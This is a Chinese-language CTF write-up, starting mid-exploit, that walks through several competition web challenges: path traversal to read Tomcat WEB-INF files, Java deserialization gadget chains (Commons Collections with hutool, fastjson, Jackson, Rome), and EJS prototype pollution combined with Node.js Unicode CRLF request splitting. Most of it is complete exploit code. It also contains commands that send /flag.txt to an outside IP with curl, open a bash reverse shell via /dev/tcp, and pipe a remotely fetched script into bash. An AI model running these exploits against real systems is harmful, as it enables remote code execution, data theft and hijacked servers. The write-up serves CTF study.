        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);  

        POJONode pojoNode = new POJONode(proxy);  

        //EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString()  
        EventListenerList list = new EventListenerList();  
        UndoManager manager = new UndoManager();  
        Vector vector = (Vector) getFieldValue(manager, "edits");  
        vector.add(pojoNode);  
        setFieldValue(list, "listenerList", new Object[]{Map.class, manager});  


        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);  
        objectOutputStream.writeObject(list);  

        System.out.println(bytesTohexString(byteArrayOutputStream.toByteArray()));  

    }  
    public static String bytesTohexString(byte[] bytes) {  
        if (bytes == null) {  
            return null;  
        }  
        StringBuilder ret = new StringBuilder(2 * bytes.length);  
        for (int i = 0; i < bytes.length; i++) {  
            ret.append("0123456789abcdef".charAt(15 & (bytes[i] >> 4)));  
            ret.append("0123456789abcdef".charAt(15 & bytes[i]));  
        }  
        return ret.toString();  
    }  
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {  
        Class<?> clazz = obj.getClass();  
        Field field = clazz.getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj, value);  
    }  

    public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {  

        Class clazz = obj.getClass();  
        while (clazz != null) {  
            try {  
                Field field = clazz.getDeclaredField(fieldName);  
                field.setAccessible(true);  
                return field.get(obj);  
            } catch (Exception e) {  
                clazz = clazz.getSuperclass();  
            }  
        }  
        return null;  
    }  
}

网鼎杯青龙组 FileJava

看到有filename,猜测可能存在目录穿越以及任意文件下载

filename=../

看到有一个路径,里面有WEB-INF,题目提示与java有关,那应该是web.xml文件泄露,尝试读取

filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml

以及class

DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class

DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class

DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class

CISCN deserbug

查看lib依赖分别是common-colletions-3.2.2hutool-all-5.8.18两个版本

刚开始想到是直接打CC链,但是这里版本是3.2.2

commons-collections3.2.2版本开始尝试序列化或反序列化此类都会抛出UnsupportedOperationException异常,这个举措是为了防止远程代码执行;如果允许序列化该类就要在运行时添加属性-Dproperty=true
以下类不能够使用

WhileClosure  
CloneTransformer  
ForClosure  
InstantiateFactory  
InstantiateTransformer  
InvokerTransformer  
PrototypeCloneFactory  
PrototypeSerializationFactory

查看自定义的类发现一个实例化方法,我们可以联想到CC3的TrAXFilter

而题目给了提示:
cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept

而LazyMap.get()可以调用put:

如果map中不包含该键,则通过 factory 对象的 transform 方法生成对应的值,并将键值对put到映射中,然后返回该值。所以需要传入的map为JSONObject即可触发JSONObject#put

也就是说前面我用一个调用put的链子,后面使用templates动态加载字节码即可,我们使用CC3链

HashMap#readObject()->
HashMap#hash()->
TiedMapEntry#hashCode()->
TiedMapEntry#getValue()->
LazyMap#get()->
cn.hutool.json.JSONObject.put()->
Myexpect#getAnyexcept()->
TrAXFilter#constructor()
->TemplatesImpl#newTransformer()
->Runtime.exec

payload如下

import cn.hutool.json.JSONObject;  
import com.app.Myexpect;  
import com.sun.corba.se.pept.transport.InboundConnectionCache;  
import com.sun.deploy.panel.JreFindDialog;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InstantiateTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
import org.apache.commons.collections.map.TransformedMap;  
import sun.misc.Unsafe;  

import javax.xml.transform.Templates;  
import java.io.*;  
import java.lang.annotation.Target;  
import java.lang.reflect.*;  
import java.net.URL;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.Base64;  
import java.util.HashMap;  
import java.util.Map;  
import java.util.Properties;  

import static java.lang.reflect.AccessibleObject.setAccessible;  

public class Exp {  
    public static void setFieldValue(Object obj,String name,Object value)throws Exception {  
        Field field = obj.getClass().getDeclaredField(name);  
        field.setAccessible(true);  
        field.set(obj, value);  
    }  
    public static void main(String[] args) throws Exception{  
        TemplatesImpl templates=new TemplatesImpl();  
        Class tc=templates.getClass();  
        Field namefield=tc.getDeclaredField("_name");  
        namefield.setAccessible(true);  
        namefield.set(templates,"aaaaa");  
        Field bytecodesfield=tc.getDeclaredField("_bytecodes");  
        bytecodesfield.setAccessible(true);  

        byte[] code=Files.readAllBytes(Paths.get("SpringEcho.class"));  
        byte[][] codes= new byte[][]{code};  
        bytecodesfield.set(templates,codes);  

        //    private Class[] typeparam;  
        //    private Object[] typearg;        //    private Class targetclass;        Myexpect myexpect=new Myexpect();  
        setFieldValue(myexpect,"targetclass",TrAXFilter.class);  
        setFieldValue(myexpect,"typeparam",new Class[] {Templates.class});  
        setFieldValue(myexpect,"typearg",new Object[] {templates});  

        JSONObject jsonObject=new JSONObject();  

        Map<Object,Object> lazyMap=LazyMap.decorate(jsonObject,new ConstantTransformer("1"));  

        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"aaa");  
        HashMap<Object,Object> map2=new HashMap<>();  
        map2.put(tiedMapEntry,"bbb");  

        //和urldns一样需要把键值去掉,才能保证链子的执行    
lazyMap.remove("aaa");  

        Class c=LazyMap.class;  
        Field factoryField=c.getDeclaredField("factory");  
        factoryField.setAccessible(true);  
        factoryField.set(lazyMap,new ConstantTransformer(myexpect));  

        serialize(map2);  
    }  

    public static void serialize(Object obj) throws IOException {  
        ByteArrayOutputStream baos = new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(baos);  
        oos.writeObject(obj);  

        System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));  

    }  
    public static Object unserialize(String filename) throws Exception{  
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));  
        Object obj=ois.readObject();  
        return obj;  
    }  


}

西湖论剑 real_ez_node

考点:ejs原型链污染、NodeJS 中 Unicode 字符损坏导致的 HTTP 拆分攻击。

源码如下

var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/', (req, res) => {
  if (req.query.q) {
    console.log('get q');
  }
  res.render('index');
})
router.post('/copy', (req, res) => {
  res.setHeader('Content-type', 'text/html;charset=utf-8')

  let user = {};
  for (let index in req.body) {
    if (!index.includes("__proto__")) {
      safeobj.expand(user, index, req.body[index])
    }
  }
  res.render('index');
})

router.get('/curl', function (req, res) {
  var q = req.query.q;
  var resp = "";
  if (q) {
    var url = 'http://localhost:3000/?q=' + q
    try {
      http.get(url, (res1) => {
        const { statusCode } = res1;
        const contentType = res1.headers['content-type'];

        let error;
        // 任何 2xx 状态码都表示成功响应,但这里只检查 200。
        if (statusCode !== 200) {
          error = new Error('Request Failed.\n' +
            `Status Code: ${statusCode}`);
        }
        if (error) {
          console.error(error.message);
          // 消费响应数据以释放内存
          res1.resume();
          return;
        }

        res1.setEncoding('utf8');
        let rawData = '';
        res1.on('data', (chunk) => {
          rawData += chunk;
          res.end('request success')
        });
        res1.on('end', () => {
          try {
            const parsedData = JSON.parse(rawData);
            res.end(parsedData + '');
          } catch (e) {
            res.end(e.message + '');
          }
        });
      }).on('error', (e) => {
        res.end(`Got error: ${e.message}`);
      })
      res.end('ok');
    } catch (error) {
      res.end(error + '');
    }
  } else {
    res.send("search param 'q' missing!");
  }
})
module.exports = router;

safeobj模块里的expand方法, 直接递归按照 . 做分隔写入 obj
绕过过滤+更改命令后,将污染ejs的payload按上述方式转换为:
__proto__被过滤,使用constructor.prototype绕过。

payload如下

(实例对象)foo.__proto__ == (类)Foo.prototype
{
    "constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('curl 120.46.41.173:9023/`cat /flag.txt`');//"
}

Nodejs的HTTP库包含了阻止CRLF的措施,即如果你尝试发出一个URL路径中含有回车\r、换行\n或空格等控制字符的HTTP请求是,它们会被URL编码,所以正常的CRLF注入在nodejs中并不能利用。那就用非正常的。

对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码字符集,不能表示高编号的Unicode字符,所以,当我们的请求路径中含有多字节编码的Unicode字符时,会被截断取最低字节,比如 \u0130 就会被截断为 \u30:

当 Node.js v8 或更低版本对此URL发出 GET 请求时,它不会进行编码转义,因为它们不是HTTP控制字符:

> http.get('http://47.101.57.72:4000/\u010D\u010A/WHOAMI').output
[ 'GET /čĊ/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]

但是当结果字符串被编码为 latin1 写入路径时,这些字符将分别被截断为 \r(%0d)和 \n(%0a):

> Buffer.from('http://47.101.57.72:4000/\u{010D}\u{010A}/WHOAMI', 'latin1').toString()
'http://47.101.57.72:4000/\r\n/WHOAMI'

\u{010D}\u{010A} 这样的 string 被编码为 latin1 之后就只剩下了 \r\n,于是就能用来做请求拆分(CRLF)了,这就是非正常的CRLF。

exp

import urllib.parse

import requests

host = "127.0.0.1"

content = '''{"constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('bash -c \\"bash -i >& /dev/tcp/1.116.160.155/2400 0>&1\\"');//"}'''
content_length = len(content)

payload=""" HTTP/1.1

POST /copy HTTP/1.1
Host: {}
User-Agent: Mozilla/5.0 (windows11) Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: wp-settings-time-1=1670345808
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: {}

{}

GET / HTTP/1.1
test:""".format(host,content_length,content)
payload=payload.replace("\n","\r\n")
def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0x0100 + ord(i))
    return ret

payloads = payload_encode(payload)
r = requests.get('http://127.0.0.1:3000/curl?q=' + urllib.parse.quote(payloads))
print(r.text)

成功反弹shell

参考:西湖论剑real_ez_node_cve-2022-29078代码注入利用条件-CSDN博客

西湖论剑 ez_api

有jetty对路径的waf

<filter-mapping>

        <filter-name>loginfilter</filter-name>

        <url-pattern>/api/*</url-pattern>

    </filter-mapping>

    <filter>

        <filter-name>loginfilter</filter-name>

        <filter-class>com.dbappsecurity.common.loginFilter</filter-class>

    </filter>
使用filter时匹配URL 校验权限时,

jetty 在匹配filter 时,使用了相对严格匹配模式,导致

/api/test 命中匹配规则 /api/* 返回权限校验失败

//api/test 没有命中规则 /api/* 从而绕过filter,并返回对应信息

反序列化利用点

package com.dbappsecurity.common.controller;  

import com.dbappsecurity.common.CustomObjectInputStream;  
import com.dbappsecurity.common.Data;  

import java.io.ByteArrayInputStream;  
import java.util.Base64;  

import org.springframework.stereotype.Controller;  
import org.springframework.ui.ModelMap;  
import org.springframework.web.bind.annotation.RequestMapping;  
import org.springframework.web.bind.annotation.RequestMethod;  

@Controller  
/* loaded from: ApiController.class */  
public class ApiController {  
    @RequestMapping(value = {"/api/test"}, method = {RequestMethod.GET})  
    public String test(Data data, ModelMap map) throws Exception {  
        CustomObjectInputStream ois = new CustomObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(data.getData())));  
        ois.readObject();  
        ois.close();  
        return "api";  
    }  
}

并且lib库只有spring和fastjson 1.2.48低版本依赖

方法一

EventListenerList利用链触发tostring

EventListenerList --> UndoManager#toString() -->
Vector#toString() -->

exp如下

package exp;  

import com.alibaba.fastjson.JSONArray;  
import javax.management.BadAttributeValueExpException;  
import javax.swing.event.EventListenerList;  
import javax.swing.undo.UndoManager;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.util.Base64;  
import java.util.HashMap;  
import java.util.Vector;  

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.CtConstructor;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  


public class Exp {  
    public static void setValue(Object obj, String name, Object value) throws Exception{  
        Field field = obj.getClass().getDeclaredField(name);  
        field.setAccessible(true);  
        field.set(obj, value);  
    }  


    public static byte[] genPayload(String cmd) throws Exception{  
        //恶意类  
        ClassPool pool = ClassPool.getDefault();  
        CtClass clazz = pool.makeClass("a");  
        CtClass superClass = pool.get(AbstractTranslet.class.getName());  
        clazz.setSuperclass(superClass);  
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);  
        constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");  
        clazz.addConstructor(constructor);  
        clazz.getClassFile().setMajorVersion(49);  
        return clazz.toBytecode();  
    }  

    public static void main(String[] args) throws Exception{  

        //使用链子BadAttributeValueExpException#readObjct -> JSONArray#toString -> JSONArray#toJSONString -> getter#toString  

        TemplatesImpl templates = TemplatesImpl.class.newInstance();  
        setValue(templates, "_bytecodes", new byte[][]{genPayload("touch /tmp/success")});  
        setValue(templates, "_name", "xxx");  
        setValue(templates, "_tfactory", null);  

        JSONArray jsonArray = new JSONArray();  
        jsonArray.add(templates);  

        EventListenerList eventListenerList = new EventListenerList();  
        UndoManager undoManager = new UndoManager();  
        Vector vector = (Vector) getFieldValue(undoManager, "edits");  
        vector.add(jsonArray);  
        setValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});  


        HashMap hashMap = new HashMap();  
        hashMap.put(templates,eventListenerList);  


        //使用user类进行序列化  
        byte[] bytes=serialize(hashMap);  
        System.out.println((Base64.getEncoder().encodeToString(bytes)));  
    }  

    public static byte[] serialize(final Object obj) throws IOException {  
        final ByteArrayOutputStream out = new ByteArrayOutputStream();  
        final ObjectOutputStream objOut = new ObjectOutputStream(out);  
        objOut.writeObject(obj);  
        return out.toByteArray();  
    }  
    public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {  
        try {  
            Field field = clazz.getDeclaredField(fieldName);  
            if ( field != null )  
                field.setAccessible(true);  
            else if ( clazz.getSuperclass() != null )  
                field = getField(clazz.getSuperclass(), fieldName);  

            return field;  
        }  
        catch ( NoSuchFieldException e ) {  
            if ( !clazz.getSuperclass().equals(Object.class) ) {  
                return getField(clazz.getSuperclass(), fieldName);  
            }  
            throw e;  
        }  
    }  
    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {  
        final Field field = getField(obj.getClass(), fieldName);  
        return field.get(obj);  
    }  
}

方法二

利用链hashmap readobject ->TextAndMnemonicHashMap#toString()

HashMap#readObject()->
HashMap#putVal()->
AbstractMap.equals()->
TextAndMnemonicHashMap#toString()
package exp;  

import com.alibaba.fastjson.JSONArray;  
import com.fasterxml.jackson.databind.node.POJONode;  

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import javassist.*;  
import sun.reflect.ReflectionFactory;  

import java.io.IOException;  
import java.io.*;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.Field;  
import java.lang.reflect.InvocationTargetException;  
import java.util.Base64;  
import java.util.HashMap;  
import java.util.Hashtable;  
import java.util.Map;  

public class fastjson {  
    public static void main(String[] args) throws Throwable {  
        CtClass ctClass= ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");  
        CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");  
        ctClass.removeMethod(writeReplace);  
        ctClass.toClass();  
        TemplatesImpl templatesImpl=new TemplatesImpl();  
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{getTemplates()});  
        setFieldValue(templatesImpl, "_name", "aiwin");  
        setFieldValue(templatesImpl, "_tfactory", null);  

        JSONArray jsonArray = new JSONArray();  
        jsonArray.add(templatesImpl);  

        Class<?> innerClass=Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");  
        Map map1= (HashMap) createWithoutConstructor(innerClass);  
        Map map2= (HashMap) createWithoutConstructor(innerClass);  
        map1.put(jsonArray,"222");  
        map2.put(jsonArray,"111");  
        Field field=HashMap.class.getDeclaredField("loadFactor");  
        field.setAccessible(true);  
        field.set(map1,1);  
        Field field1=HashMap.class.getDeclaredField("loadFactor");  
        field1.setAccessible(true);  
        field1.set(map2,1);  
        Hashtable hashtable=new Hashtable();  
        hashtable.put(map1,1);  
        hashtable.put(map2,1);  
        map1.put(jsonArray, null);  
        map2.put(jsonArray, null);  
        byte[] result=serialize(hashtable);  


    }  
    public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {  
        Field dfield = object.getClass().getDeclaredField(field);  
        dfield.setAccessible(true);  
        dfield.set(object, value);  
    }  

    public static byte[] serialize(Object object) throws  IOException {  
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);  
        oos.writeObject(object);  
        System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));  
        return byteArrayOutputStream.toByteArray();  
    }  
    public static byte[] getTemplates() throws NotFoundException, CannotCompileException, IOException {  
        ClassPool pool = ClassPool.getDefault();  
        CtClass template = pool.makeClass("Test");  
        template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));  
        String block = "Runtime.getRuntime().exec(\"touch /tmp/success\");";  
        template.makeClassInitializer().insertBefore(block);  
        return template.toBytecode();  
    }  

    public static <T> Object createWithoutConstructor (Class classToInstantiate )  
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {  
        return createWithoutConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);  
    }  

    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )  
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {  
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);  
        objCons.setAccessible(true);  
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);  
        sc.setAccessible(true);  
        return (T)sc.newInstance(consArgs);  
    }  
}

方法三

HotSwappableTargetSource链子触发toString

依赖条件 ● jackson-databind、spring-aop

HashMap#readObject -> HotSwappableTargetSource#equals -> XString#equals -> toString

exp如下

package exp;  

import com.alibaba.fastjson.JSONObject;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xpath.internal.objects.XString;  
import javassist.*;  
import org.springframework.aop.target.HotSwappableTargetSource;  

import java.io.IOException;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.util.Base64;  
import java.util.HashMap;  

public class jacksonserialize {  
    public static byte[] getTemplates() throws NotFoundException, CannotCompileException, IOException {  
        ClassPool pool = ClassPool.getDefault();  
        CtClass template = pool.makeClass("Test");  
        template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));  
        String block = "Runtime.getRuntime().exec(\"touch /tmp/as\");";  
        template.makeClassInitializer().insertBefore(block);  
        return template.toBytecode();  
    }  
    public static void main(String[] args) throws Exception {  
        CtClass ctClass= ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");  
        CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");  
        ctClass.removeMethod(writeReplace);  
        ctClass.toClass();  

        TemplatesImpl templatesImpl=new TemplatesImpl();  
        setValue(templatesImpl, "_bytecodes", new byte[][]{getTemplates()});  
        setValue(templatesImpl, "_name", "aiwin");  
        setValue(templatesImpl, "_tfactory", null);  


        JSONObject jsonObject = new JSONObject();  
        jsonObject.put("g","m");  
        JSONObject jsonObject1 = new JSONObject();  
        jsonObject1.put("g",templatesImpl);  

        HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject);  
        HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("x"));  

        HashMap<Object,Object> hashMap = new HashMap<>();  
        hashMap.put(v1,v1);  
        hashMap.put(v2,v2);  
        setValue(v1,"target",jsonObject1);  


        serialize(hashMap);  
    }  

    public static void setValue(Object obj,String field,Object value) throws Exception{  
        Field f = obj.getClass().getDeclaredField(field);  
        f.setAccessible(true);  
        f.set(obj,value);  
    }  
        public static byte[] serialize(Object obj) throws IOException {  
            ByteArrayOutputStream baos = new ByteArrayOutputStream();  
            ObjectOutputStream oos = new ObjectOutputStream(baos);  
            oos.writeObject(obj);  
            System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));  
            return baos.toByteArray();  
        }  
}

D^3CTF shorter

题目给了Rome 1.0的依赖,可以打rome反序列化

源码如下:

package web.challenge.shorter.controller;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
/* loaded from: MainController.class */
public class MainController {
    @GetMapping({"/hello"})
    public String index() {
        return "hello";
    }

    @PostMapping({"/hello"})
    public String index(@RequestParam String baseStr) throws IOException, ClassNotFoundException {
        if (baseStr.length() >= 1956) {
            return "too long";
        }
        new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(baseStr))).readObject();
        return "hello";
    }
}

由于限制了长度正常的反序列化链不能够成功rce,非预期解是通过Java反序列化Payload缩小技术用javassit把eval方法重写一遍

java rce的两张方式:runtime.exec();process.start() ; runtime.exec()不支持| > <,所以可以考虑ProcessBuilder().start()

构造exp

package exp;  

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.syndication.feed.impl.EqualsBean;  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.CtConstructor;  
import javax.xml.transform.Templates;  
import java.io.ByteArrayInputStream;  
import java.io.ByteArrayOutputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Field;  
import java.util.Base64;  
import java.util.HashMap;  
import java.util.Hashtable;  

public class Exp {  
    public static void setFieldValue(Object obj,String fieldname,Object value)  
            throws Exception{  
        Field field = obj.getClass().getDeclaredField(fieldname);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
    private static byte[] getTemplatesImpl(String cmd) {  
        try {  
            ClassPool pool = ClassPool.getDefault();  
            CtClass ctClass = pool.makeClass("Evil");  
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");  
            ctClass.setSuperclass(superClass);  
            CtConstructor constructor = ctClass.makeClassInitializer();  
            constructor.setBody(" try {\n" +  
                    "String[] arrCmd = {\"bash\",\"-c\",\"curl 47.120.33.255/a|bash\"};"+  
                    "ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);\n" +  
                    "Process p = processBuilder.start();\n" +  
                    " } catch (Exception ignored) {\n" +  
                    " }");  
            byte[] bytes = ctClass.toBytecode();  
            ctClass.defrost();  
            return bytes;  
        } catch (Exception e) {  
            e.printStackTrace();  
            return new byte[]{};  
        }  
    }  
    public static void main(String[] args) throws Exception{  
//TemplateImpl 动态加载字节码  
        byte[] code = getTemplatesImpl("calc");  
        // byte[] code = ClassPool.getDefault().get("com.HelloTemplatesImpl").toBytecode();  
        TemplatesImpl obj = new TemplatesImpl();  
        setFieldValue(obj,"_name","jiang");  
        setFieldValue(obj,"_class",null);  
        // setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());  
        setFieldValue(obj,"_bytecodes",new byte[][]{code});  
        EqualsBean bean = new EqualsBean(String.class,"jiang");  
        HashMap map1 = new HashMap();  
        HashMap map2 = new HashMap();  
        map1.put("yy",bean);  
        map1.put("zZ",obj);  
        map2.put("zZ",bean);  
        map2.put("yy",obj);  
        Hashtable table = new Hashtable();  
        table.put(map1,"1");  
        table.put(map2,"2");  
        setFieldValue(bean,"_beanClass",Templates.class);  
        setFieldValue(bean,"_obj",obj);  
        //序列化  
        ByteArrayOutputStream baos = new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(baos);  
        oos.writeObject(table);  
        oos.close();  
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));  
        //反序列化  
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());  
        ObjectInputStream ois = new ObjectInputStream(bais);  
        ois.readObject();  
        ois.close();  
    }  
}

成功反弹shell

通过实践各大比赛Java反序列化链gadget的利用,对链子之间的配合连接以及适用情况更加熟练,希望对师傅们的Java反序列化链学习有所帮助。

1 条评论
某人
表情
可输入 255